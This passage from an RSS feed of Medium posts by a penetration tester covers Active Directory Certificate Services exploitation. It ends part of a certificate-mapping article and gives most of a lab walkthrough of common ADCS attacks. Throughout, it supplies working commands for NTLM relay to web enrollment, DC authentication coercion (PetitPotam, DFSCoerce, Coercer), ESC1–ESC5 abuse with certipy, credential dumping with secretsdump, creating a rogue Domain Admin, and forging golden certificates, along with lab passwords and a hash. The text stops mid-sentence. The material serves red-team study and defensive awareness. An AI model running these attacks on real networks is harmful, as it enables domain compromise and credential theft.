srv-dc\$@192.168.0.100<br># KRB5CCNAME=dcTGT.ccache secretsdump.py testlab.loc/srv-dc\$@SRV-DC -k -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*Ure4C7tBfKyJjagEMAeZ2g.png" /></figure><h3>Weak Mapping and BloodHound</h3><p>The SpecterOps team recently released an <a href="https://medium.com/specter-ops-posts/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac">article</a> detailing exactly how BloodHound finds escalation paths based on implicit mapping vulnerabilities, you should go read it for the full details, as there are a lot of conditions that need to be met for a path to be exploitable, here I’ll only mention some useful details.</p><p>Computer nodes now have four new properties which allow us to tell if strong certificate mapping is enforced and if UPN mapping is enabled for SChannel authentication, remember that these settings are essential for ESC9 and ESC10 to work, as long as we find one DC with compatibility mode or with UPN mapping enabled we can exploit the vulnerabilities:</p><ul><li>strongcertificatebindingenforcementraw: the value of the Kerberos registry setting</li><li>strongcertificatebindingenforcement: strong mapping enforcement, 0 = disabled, 1 = compatibility mode, 2 = full enforcement mode</li><li>certificatemappingmethodsraw: the value of the SChannel registry setting</li><li>certificatemappingmethods: which mapping methods for Schannel are enabled</li></ul><p>We also need to make sure there is at least a template with the right EKUs to use SChannel authentication in order to exploit its UPN mapping:</p><ul><li>Client Authentication (1.3.6.1.5.5.7.3.2)</li><li>Any Purpose (2.5.29.37.0)</li><li>SubCA (-)</li></ul><p>BloodHound will mark the schannelauthenticationenabled property to true in templates which have these EKUs.</p><p>In scenario A for ESC9 and ESC10 we target UPN mapping, so templates can be exploited when they have one of these settings set:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*vnjdt_VxtJs-m6m3FmEXDw.png" /></figure><p>BloodHound added the two properties subjectaltrequireupn and subjectaltrequirespn to tell which templates meet this criteria.</p><p>At the same time, if the writable account we wish to use for the attack is a user we must make sure the template does not also need the account’s DNS name in the subject name, as user objects do not have the dnsHostName attribute. This means the two template properties subjectaltrequiredns and subjectaltrequiredomaindns must not be true. If one of these properties is set we need to control a machine account with Enroll rights on the template.</p><p>BloodHound now also comes with a few pre-made queries to list templates without the SID extension or DCs with weak certificate binding enabled. Finally the new edges, we have one each for scenario A and B for ESC9, ESC10, and ESC6: ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC6a, ADCSESC6b. These edges take into account the requirement of a writable account and will only be created if vulnerable DCs and templates are found, linking the exploitable account to the domain. For example the following is the composition of an ADCSESC9a edge, we see that strong mapping enforcement is in compatibility mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSe5b1nNEE7mzZZ8S3JkHg.png" /></figure><p>The vulnerable template has the NO_SECURITY_EXTENSION flag set and will include the subject’s UPN in the SAN:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*ufXFkdg5BGtkdtBcPkfcPQ.png" /></figure><p>On the other hand this is the composition of an ADCSESC10a edge, where in the properties of the DC we see it has UPN mapping enabled:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*Qv2vFUvGbwaqoCEbFZWgbA.png" /></figure><p>Unfortunately these edges depend on the registry mapping keys on domain controllers, so we would need to run SharpHound as domain admins on a DC in order to collect these values.</p><h3>Conclusion</h3><p>Microsoft themselves have suggested to modify the registry settings relative to the new mapping extension to make old certificates work again after the May 2022 patch, by doing so they could have introduced vulnerabilities in their forest: for this reason it’s important to check the value of the registry keys, and if the patch hasn’t been installed yet the entire domain can be compromised by any user by default, so everyone with an enterprise CA should beware of this critical vulnerability.</p><p><strong>References</strong></p><ul><li><a href="https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc">https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc</a></li><li><a href="https://medium.com/specter-ops-posts/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac">https://medium.com/specter-ops-posts/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac</a></li><li><a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li><li><a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4</a></li><li><a href="https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7">https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7</a></li><li><a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf</a></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1</a></li><li><a href="https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16">https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e19a6037760" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ADCS Exploitation Part 1: Common Attacks]]></title>
            <link>https://medium.com/@offsecdeer/adcs-exploitation-part-1-common-attacks-b7ae62519828?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7ae62519828</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Sun, 04 Aug 2024 18:49:10 GMT</pubDate>
            <atom:updated>2024-08-04T18:49:10.718Z</atom:updated>
            <content:encoded><![CDATA[<p>Active Directory Certificate Services is so widespread and easy to misconfigure it deserves a spot among one of the internal pentester’s best friends.</p><p>This series of articles is born from the notes I took while recreating ADCS vulnerabilities in my lab for practice and study, and is all from the point of view of an attacker: I will show how ADCS misconfigurations introduce domain escalation vulnerabilities, and how these can be exploited.</p><p>In this first part we’ll see the most common vulnerabilities in ADCS environments, part 2 will be focused on certificate mapping vulnerabilities, and part 3 will cover some less common but still useful and interesting attacks. I assume you already have a general understanding of the basics of ADCS, if not, reading the theory chapters of <a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified Pre-Owned</a> is perhaps the best starting point.</p><p>It’s important to note that in order to exploit any ADCS misconfigurations the domain must trust the target CA as well as all its parent and root CAs, otherwise certificate authentication can’t take place even if you spot vulnerabilities. The following image portrays a two-tier hierarchy where the issuing CA can be used to enroll in vulnerable templates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Etq2Y3y2G-xbnSo65MAT9w.png" /></figure><p>The way Active Directory trusts a CA is by creating certificationAuthority objects inside specific containers in the Configuration partition: Certification Authorities will contain trusted root CAs, and AIA is dedicated to intermediate CAs. The cACertificate attribute contains the binary representation of the CA certificate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*0spMhVQPYLsTZ7Gm0X4a-Q.png" /></figure><p>NTAuthCertificates, on the other hand, is an object where we store the certificates of those CAs authorized to issue client authentication certificates, again these are stored in the multi-value cACertificate attribute:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*J1is8byhanbsxaXVgRIhaw.png" /></figure><p>If we get a client authentication certificate from a trusted CA but this CA’s certificate does not appear in the domain’s NTAuthCertificates the DC will reject it.</p><h3>Initial Enumeration</h3><p>Assuming we are already inside the target’s private network but don’t have code execution on domain joined hosts, Netexec has a useful SMB enum_ca module that can identify available ADCS installations and web endpoints without authentication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*yn1zPb-0YVUgLNnmV9rttg.png" /></figure><p>If we have access to a domain-joined machine we can find the CA with certutil:</p><pre>certutil -TCAInfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*Psh0hYkenmvsPJKcA7PLRg.png" /></figure><p>We can use <a href="https://github.com/ly4k/Certipy">certipy</a> to perform authenticated enumeration. The following command is a good starting point, it uses unprivileged domain credentials to print out vulnerable templates and CAs if any are found:</p><pre>certipy find -vulnerable -hide-admins -u user@domain.loc -p Password -dc-ip 192.168.0.100</pre><p>These are some other useful flags for certipy’s find command:</p><ul><li>-stdout print output on console instead of creating files</li><li>-bloodhound create files compatible with the ADCS-modified version of BH 4 (it does this by default while also creating text and JSON output files, but here I use BloodHound CE instead)</li><li>-vulnerable only shows identified misconfigurations instead of all templates and CAs</li><li>-hide-admins don’t show default privileged ACLs, useful for cleaner output</li><li>-dc-only does not attempt to enumerate ACLs request flags and web enrollment availability, obtaining only information that can be found on the DC instead of contacting the CA, a stealthier option for template enumeration</li></ul><p>The output will highlight any vulnerable templates and CAs, so we better analyze it carefully.</p><h3>Authenticating With Certificates</h3><p>Most of the attacks against ADCS result in the issuing of new certificates: when we have a client authentication certificate issued to user X we can authenticate on the domain as X with two methods: PKINIT (THEFT5 / unPAC the hash) and SChannel (TLS authentication)</p><p><strong>UnPAC The Hash (THEFT5)</strong></p><p>PKINIT (Public Key Cryptography for Initial Authentication) is a protocol extension for kerberos that allows a client to complete pre-authentication using a X.509 certificate instead of a password. This means client authentication certificates can be used to obtain kerberos tickets without knowing the certificate subject’s password.</p><p>On top of that, when a TGT is issued with PKINIT the KDC will automatically add the user’s NTLM secrets into the PAC of a TGS obtained from it, in case they are needed when a kerberos compatibility issue is encountered.</p><p>Basically if we have a client authentication certificate we can get a TGT and the user’s NT hash simply by leveraging kerberos features: the retrieval of NT hashes with PKINIT has been dubbed THEFT5 by the <a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">SpectreOps researchers</a> who identified this technique (and all the ESC’s in this article), and is now also commonly known as “unPAC the hash”.</p><p><strong>SChannel (TLS)</strong></p><p>SChannel is the security package utilized to support SSL/TLS authentication, it also supports client authentication and as <a href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html">Yannick Méheut</a> discovered it can be used with client certificates for user authentication on a DC’s LDAPS port (636). This is useful when we have obtained a valid certificate but cannot request a TGT because the DC does not support PKINIT, giving us error number 16: KDC_ERR_PADATA_TYPE_NOSUPP. This error can have a few causes, for example a DC is not configured to use kerberos or it doens’t support the proposed cipher.</p><p>certipy’s auth command supports SChannel authentication with -ldap-shell, granting us a semi-interactive shell from where we can perform one of the many supported actions, like creating new users and adding them to groups, or giving users RBCD rights to a computer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJY2nbApirGITyGedxQkeg.png" /></figure><h3>ESC8 (Web Enrollment NTLM Relay)</h3><p>Starting from number 8 seems odd but this is probably the most common ADCS vulnerability. When the optional Web Enrollment role is installed on a CA the default configuration of the IIS application is vulnerable against NTLM relays, because the application accepts NTLM authentication but does not support signing: IIS has a feature called Extented Protection for Authentication (EPA), this helps protect against relay attacks when NTLM cannot be disabled as a whole but it needs to be enabled manually, leaving all default web-enabled CAs vulnerable to relay attacks.</p><p>Certipy can tell us if the ADCS configuration is vulnerable to ESC8:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*o0Pt4CVmujxvd-n9mFTxxg.png" /></figure><p>We can also check the presence of the web application ourselves by loading the /certsrv page of an IIS server, this is the default path of the most common web-based ADCS role, other roles also install a web server vulnerable to relays, for instance I have talked about NDES in a <a href="https://medium.com/@offsecdeer/abusing-adcs-ndes-for-privilege-escalation-e4d306c9ca97">dedicated article</a>.</p><p>Everybody’s favorite relay tool ntlmrelayx supports the --adcs flag to request certificates with relayed connections, by default we don’t need any other parameters aside from pointing it to the CA’s web enrollment service but if we are interested in enrolling in a specific template we can add --template, but if we omit it ntlmrelayx will check if the name of the relayed user ends with a $, if it does it tries enrolling on the Machine template, otherwise it attempts the User template: these two are both present and enabled by default, giving any domain user access to User and any computer access to Machine.</p><pre>ntlmrelayx.py -t https://srv-ca/certsrv/certfnsh.asp --adcs -smb2support</pre><p>The classic relay techniques to make clients connect to us can be used, like LLMNR/NBT-NS poisoning and WPAD spoofing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*_u8fLYkB9I4hyp5BkFOI0Q.png" /></figure><p>The result of a successful relay is a base64-encoded PFX certificate (it looks like the latest impacket version now simply writes the PFX to disk instead of printing it) which we can decode and use to authenticate as the relayed user.</p><p>Certipy also has a relay command in case we don’t want to use ntlmrelayx, but it doesn’t seem to work with HTTPS. If your target CA enforces HTTPS on the web enrollment application then certipy will always fail, ntlmrelayx will still work.</p><p>To know if HTTPS is being enforced go to http://CA/certsrv, if HTTP is still allowed you should get a basic authentication prompt, otherwise you’ll see a 403 error and this means HTTPS is mandatory, so you have no choice but stick to ntlmrelayx:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*yRjGoW07nvW07OH8WK3sDA.png" /></figure><p>But if that’s not your case you can run certipy like so:</p><pre>certipy relay -ca CA -template DomainController -target http://192.168.0.223</pre><p>Certipy’s default behavior is to start an SMB listener on 0.0.0.0 and request a new certificate with the relayed authentication when a connection is received. Much like ntlmrelayx either a User or Machine certificate will be enrolled by default, a different one can be selected with -template</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*B98GN1aNRjvSG-QyAB2Vvw.png" /></figure><p>Regardless of the tool the certificate we obtain is in PFX format: these are used with certipy’s auth command, which by default will gather the subject’s credentials with PKINIT:</p><pre>certipy auth -pfx tantani.pfx -dc-ip 192.168.0.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*FsNvKkTDZxOlI3rBdU1QHQ.png" /></figure><h3>Coercing DCs</h3><p>The fastest way to compromise a domain with ADCS is without a doubt a combination of ESC8 and authentication coercion: there are different ways an attacker can provoke an authentication attempt from a privileged account to then relay it to a vulnerable CA.</p><p><strong>PetitPotam</strong></p><p><a href="https://github.com/topotam/PetitPotam">PetitPotam</a> is an authentication coercion “vulnerability” which, when left unpatched, allows unauthenticated attackers to coerce authentication on an arbitrary host. The requirements for this attack are the following:</p><ul><li>enterprise CA with web enrollment role and EPA disabled</li><li>NTLM authentication enabled</li><li>unpatched DC or valid domain credentials</li></ul><p>We can check whether a DC is vulnerable to PetitPotam using the dedicated nxc module:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*_A5X2nlouSTBYVcx30vrMw.png" /></figure><p>“Vulnerable” means PetitPotam can be used to coerce the DC without any credentials, if the DC is not vulnerable the coercion method itself still works but requires valid domain credentials.</p><p>We need to launch ntlmrelayx with the --adcs flag, and since we are targeting a DC we must specify the DomainController template with the --template option, otherwise ntlmrelayx will automatically attempt to enroll the Machine template, which makes the exploit fail:</p><pre>ntlmrelayx.py -t https://srv-ca/certsrv/certfnsh.asp --adcs -smb2support --template DomainController</pre><p>We can now coerce the authentication using one of the many PetitPotam implementations, in this scenario I use topotam’s <a href="https://github.com/topotam/PetitPotam">original Python script</a> (in this scenario I use a domain name as host to coerce the connection to, but the attacker’s IP address can suffice):</p><pre>python3 PetitPotam.py &lt;attacker&gt; &lt;target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*eLyby9VVWxW3j9dRJtGiAg.png" /></figure><p>This results in ntlmrelayx receiving the authentication attempt and relaying it to the CA’s web interface, thus obtaining a client authentication certificate for the DC machine account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*RkAXP_jUmdBvuBrr8c-k5w.png" /></figure><p>PKINIT and SChannel can now be used to authenticate as the DC with the PFX certificate. Here I use certipy to obtain the machine account’s NT hash with PKINIT:</p><pre># cat dc.pfx.b64 | base64 -d &gt; dc.pfx<br># certipy auth -pfx dc.pfx -dc-ip 192.168.0.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*q6SBujjmbfUVVQjF6N7xyQ.png" /></figure><p>We can now use the DC’s own account to DCSync itself:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*7OwbnBnLDVv8LVCf48WMGw.png" /></figure><p><strong>DFSCoerce</strong></p><p><a href="https://github.com/Wh04m1001/DFSCoerce">DFSCoerce</a> is another authentication coercion “vulnerability” available by default on any DC. Exploitation is identical to an authenticated PetitPotam attack, as there is no way to trigger DFSCoerce without credentials.</p><pre>python3 dfscoerce.py -u pirelli -p &#39;Peepee!1&#39; -d testlab.loc &lt;attacker&gt; &lt;target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7btT7jajZyg8mDG7gjX2cw.png" /></figure><p>Like with PetitPotam the PFX certificate grants us the ability to impersonate the DC machine account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*fkvpi-MVSHSbwMg3p1rzJw.png" /></figure><p><strong>Coercer</strong></p><p>PetitPotam and DFSCoerce are the two easiest ways to coerce domain controllers, but not the only ones. Other coercion techniques will also work the same way if the vulnerable services are running on the target. Coercion attempts can be identified by EDR/XDR, so if a DC is protected by such products it’s possible we won’t receive a response at all.</p><p>In these cases I found <a href="https://github.com/p0dalirius/Coercer">coercer</a> works pretty well when we aren’t worried about being stealthy: coercer supports different coercion techniques that can be launched in sequence until one finally works, see it as a coercion bruteforce. Using it in a few engagements I noticed that even if most methods are blocked by the EDR, chances are one of the more obscure ones will actually slip past their controls.</p><p>The --always-continue flag lets coercer run through all the methods automatically, if we omit the flag it will launch one technique and ask us if we’d like to perform the next one, skip it, or stop the program. The following command is a usage example where the target (DC) is specified with -t and our attacking mahine with -l:</p><pre>coercer coerce -u pirelli -p &#39;Peepee!1&#39; -d testlab.loc --dc-ip 192.168.0.222 -t ATTACKER -l 192.168.0.222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*Wtmb3OmtDa7fnAZ5_8Vcww.png" /></figure><h3>ESC1 (SubjectAltName Impersonation)</h3><p>SubjectAltName (SAN) is an optional certificate extension that can be populated with a subject different than the enrollee, the CA will then issue the certificate to this account: if user Mark sends a CSR with SubjectAltName set to Luigi’s UPN, the resulting certificate will be issued to Luigi instead of Mark.</p><p>This feature can be abused for escalation when unprivileged users can enroll on a certificate which has a client authentication EKU and expects a SAN in the request: an unprivileged user can request an authentication certificate for a domain admin, no additional checks are made beside if the user can actually enroll in the requested certificate, if so they can impersonate any user they want: this vulnerability is known as ESC1.</p><p>For a template to be vulnerable it must have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set, in a template’s properties it’s enabled from the “Supply in the request” option under the Subject Name tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*dqXv-fybXN0mVPB7PTz3Hw.png" /></figure><p>When this option is set Windows expects an alternative certificate subject to be specified in the SubjectAltName of the request, either in the form of a UPN or a DNS name, for a user or computer respectively.</p><p>Certipy recognizes certificates satisfying all requirements and tells us who can enroll on the vulnerable template:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XI8tk8tLOxW_V2vV8g10uQ.png" /></figure><p>BloodHound CE also has a relationship that can be used to find templates vulnerable to ESC1:</p><pre>MATCH q=()-[:ADCSESC1]-&gt;() RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*88c8VlbXEHoyHKrVTMqLOA.png" /></figure><p>If we select the ADCSESC1 relationship the panel on the right will open, from there we can expand Composition to see what templates are vulnerable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*3lNE0qISi5E9SsdkoL9u1g.png" /></figure><p>BloodHound is also useful to verify whether the vulnerabilities are actually exploitable or not: as mentioned at the beginning, a vulnerable template can only be exploited by going through a CA that’s trusted for authentication and that is also part of a valid trust chain, and BloodHound CE has nodes and relationships that can show if the PKI hierarchy is exploitable (for more information on the use of basic ADCS nodes and relationships in BloodHound CE I recommend <a href="https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-1-799f3d3b03cf">this article</a>).</p><p>certipy’s req command lets us exploit ESC1 by requesting a certificate as a privileged user. In the following command -target-ip points to the CA, -template is obviously the vulnerable template, and -upn is the UPN of the user we wish to impersonate:</p><pre>certipy req -dc-ip 192.168.0.100 -target-ip 192.168.0.105 -template ESC1 -ca CA -u pirelli@testlab.loc -p &#39;Peepee!1&#39; -upn administrator@testlab.loc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_5CPywoDbb9rMe7_LVarA.png" /></figure><p>Note: if you find yourself in a situation in which the command above gives you an error due to RPC enrollment being unavailable you can add the -web flag to use the web enrollment interface instead. From this certificate we can obtain a TGT and recover the user’s NTLM hash through the PKINIT protocol, thanks to certipy’s auth command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*xLdmqSv5ntdP02cnV10reQ.png" /></figure><p>If DC and CA are patched against the Certifried vulnerability the command above will give you an error due to a SID mismatch. To solve this add the -sid parameter to certipy’s req command, including the SID of the impersonated user. In part 2 we’ll see exactly what that error is and we’ll also look at Certifried.</p><p>Alternatively -ldap-shell uses SChannel to give us an interactive shell with a few options:</p><pre>certipy auth -pfx administrator.pfx -dc-ip 192.168.0.100 -ldap-shell</pre><p>One way to exploit privileged credentials from LDAPS is creating a new account and adding it to a privileged group like Domain Admins:</p><pre># add_user EvilAdmin<br># add_user_to_group EvilAdmin &#39;Domain Admins&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*3QLpIYQzpDZftt-65hmisg.png" /></figure><h3>ESC3 (Enrollment Agent EKU)</h3><p>ESC3 exploits Certificate Request Agents: these are certificates that can be used to request other certificates on behalf of different users. If an unprivileged user can enroll one such certificate they’ll be able to use it to request client authentication certificates for arbitrary users, for example they could request a User certificate for a domain administrator.</p><p>A template is vulnerable to ESC3 when it includes the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) and unprivileged users can enroll:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T8_ExtJ_WNp-Bc8hC6mJHQ.png" /></figure><p>Again BloodHound offers an ADCSESC3 relationship to look for this kind of misconfiguration:</p><pre>MATCH q=()-[:ADCSESC3]-&gt;() RETURN q</pre><p>Expanding the ADCSESC3 relationship will reveal the vulnerable template linked to an exploitable target template through an EnrollOnBehalfOf relationship:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*_jUHoL8lYYslOKlARpTSXQ.png" /></figure><p>This means the ESC3 template can be used to obtain User certificates on behalf of any user we wish. The exploitation of ESC3 consists in enrolling in the vulnerable template, thus receiving a certificate we can use to request a client authentication certificate for the user we wish to impersonate. One important aspect of ESC3 is that the attacker needs to have Enroll permissions on BOTH the vulnerable template and the target template.</p><p>For the first step we use certipy’s req command:</p><pre>certipy req -u pirelli@testlab.loc -ca CA -target-ip 192.168.0.105 -template ESC3 -p &#39;Peepee!1&#39;</pre><p>The second step is similar, we’re still using req but this time we specify a client authentication template we can enroll on, User is an easy one. We also add the -pfx flag to specify the certificate we obtained in the first step. Finally, with -on-behalf-of we specify the user we wish to impersonate.</p><pre>certipy req -u pirelli@testlab.loc -ca CA -target-ip 192.168.0.105 -template User -on-behalf-of &#39;testlab\administrator&#39; -pfx pirelli.pfx -p &#39;Peepee!1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6zHQkKHcjjPNiNGAKtTUfA.png" /></figure><p>A much more in depth description of ESC3 and its limits is found in the dedicated <a href="https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547">SpectreOps article</a>.</p><p><strong>ESC2 (Any Purpose EKU)</strong></p><p>ESC2 is a vulnerability where a template allowing enrollment to unprivileged users has the Any Purpose EKU. This means the certificate can be used for any purpose, like code signing, client authentication, enrollment agent, etc.</p><p>A certificate of this kind can be exploited by using it as if it was an Enrollment Agent certificate, allowing the attacker to request client authentication certificates on behalf of other users, basically the same scenario as ESC3. If certipy finds a template with Any Purpose it will mark it as vulnerable for both ESC2 and ESC3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJ5zwXWN8feQNxQE3vA8_w.png" /></figure><p>BloodHound doesn’t have a relationship specific to ESC2, but if there are any vulnerable templates they will come out when using the ESC3 query. If we want to check maunally who can enroll on Any Purpose templates we can use this query instead:</p><pre>MATCH q=(u)-[:Enroll]-&gt;(c:CertTemplate)<br>WHERE &quot;2.5.29.37.0&quot; IN c.effectiveekus<br>AND NOT u.objectid ENDS WITH &quot;-512&quot;<br>AND NOT u.objectid ENDS WITH &quot;-519&quot;<br>RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*t_0uvex2qCROoaNaK-uTxA.png" /></figure><p>Exploitation is identical to ESC3.</p><h3>ESC4 (Write Right on Template)</h3><p>A template is vulnerable to ESC4 when unprivileged users have write permissions on it: this gives them the ability to modify the template configuration, allowing an attacker to make it vulnerable to ESC1 by enabling the SAN and adding client authentication EKUs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*eVQfThBDmtHwl8ov_CMWfw.png" /></figure><p>On BloodHound we can use the ADCSESC4 relationship to find principals with write permissions on templates:</p><pre>MATCH q=(u)-[:ADCSESC4]-&gt;()<br>WHERE NOT u.objectid ENDS WITH &quot;-500&quot;<br>RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*G2ZtY6r6En9WKFzGF2_l_Q.png" /></figure><p>certipy exploits ESC4 by turning the target template vulnerable to ESC1: since we are changing the configuration we should make sure to run the template command with the -save-old flag to create a backup of the original configuration, this also performs the configuration change automatically:</p><pre>certipy template -u pirelli@testlab.loc -template ESC4 -save-old -p &#39;Peepee!1&#39; -dc-ip 192.168.0.100</pre><p>Now we can exploit this template like a normal ESC1, so with the req command and specifying a target user to impersonate:</p><pre>certipy req -u pirelli@testlab.loc -template ESC4 -upn administrator@testlab.loc -ca CA -dc-ip 192.168.0.100 -target-ip 192.168.0.105 -p &#39;Peepee!1&#39;</pre><p>Once we don’t need any more certificates from the vulnerable template we run template again but with -configuration to return the template to its original state:</p><pre>certipy template -u pirelli@testlab.loc -template ESC4 -configuration ESC4.json -p &#39;Peepee!1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKcwNKXk69JoS0V_DhQ1Ow.png" /></figure><h3>ESC5 (Vulnerable PKI Object Access Control) — Golden Certificates</h3><p>ESC5 is perhaps the most nebulous of ADCS vulnerabilities, it’s found when unprivileged users can control AD objects which allow to compromise the PKI to some degree. A lot of objects fall under this category, but we’re only going to see the enterprise CA’s machine account object, as control over the other objects is much rarer and harder to exploit.</p><p>If unprivileged users can control the CA’s machine account they can compromise the host itself through resource-based constrained delegation (RBCD), shadow credentials, or other methods based on the exploitation of write access rights.</p><p>With these methods an attacker can either become one of the CA’s local administrators and then execute a backup of the CA’s private key: anyone with a copy of this key can forge certificates for any template issued to any user, therefore this attack is called Golden Certificate.</p><p>BloodHound has a GoldenCert relationship with which we can see which users can execute the key backup, we can add it to a typical <a href="https://medium.com/@offsecdeer/a-practical-guide-to-rbcd-exploitation-a3f1a47267d5">RBCD query</a> to find principals who can take over a CA and compromise the domain with golden certificates:</p><pre>MATCH q=(u{admincount:false})-<br>[:GenericAll|GenericWrite|Owns|WriteDacl|WriteAccountRestrictions|AllowedToAct]<br>-&gt;()-[:GoldenCert]-&gt;()<br>RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*HHGCVim8oQs3hHMDW5zAaQ.png" /></figure><p>In this lab I set up a user with GenericWrite permissions over the CA machine account, making it possible to take over the computer with RBCD:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*6k9bgh4F05Zxxv0mhzlxZA.png" /></figure><p>The hash of the local administrator is extracted with secretsdump:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*f4EaAes2XPrYT5lDo4p1Zg.png" /></figure><p>The local admin credentials are then used to perform the backup of the private key:</p><pre>certipy ca -backup -username administrator -ca CA -target-ip 192.168.0.223 -hashes 1644e9777bc1c3c2d8a56203ef977cf2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*oF0TMGPFwlDVdcytWq50VA.png" /></figure><p>If we already have privileged code execution on a CA we can backup the key using the default ADCS administration PowerShell module:</p><pre>Backup-CARoleService -Path C:\CA_Backup -KeyOnly</pre><p>This cmdlet creates a .p12 file, it’s identical to a .pfx file so we can just rename it and use it like usual. With the certificate and key in our hands we can forge certificates for arbitrary users:</p><pre>certipy forge -ca-pfx CA.pfx -upn administrator@testlab.loc -subject &#39;CN=Administrator,CN=Users,DC=testlab,DC=loc&#39; -crl ldap://nonexistent.loc -sid S-1-5-21-468850449-443632263-3846461648-500</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*Y8HEX4aJUJ80C7hsh6e8Bw.png" /></figure><p>-crl is a parameter that specifies the location (usually HTTP or LDAP URL) of a Certificate Revocation List, which are lists of revoked certificates used by the DC to make sure the certificate you’re authenticating with hasn’t been revoked, omitting this flag is likely going to cause a KDC_ERR_CLIENT_NOT_TRUSTED error, since the DC can’t trust the provided certificate is still valid if you’re not providing a CRL URL. Luckily we don’t need a real CRL, a non-existing URL works just fine (<a 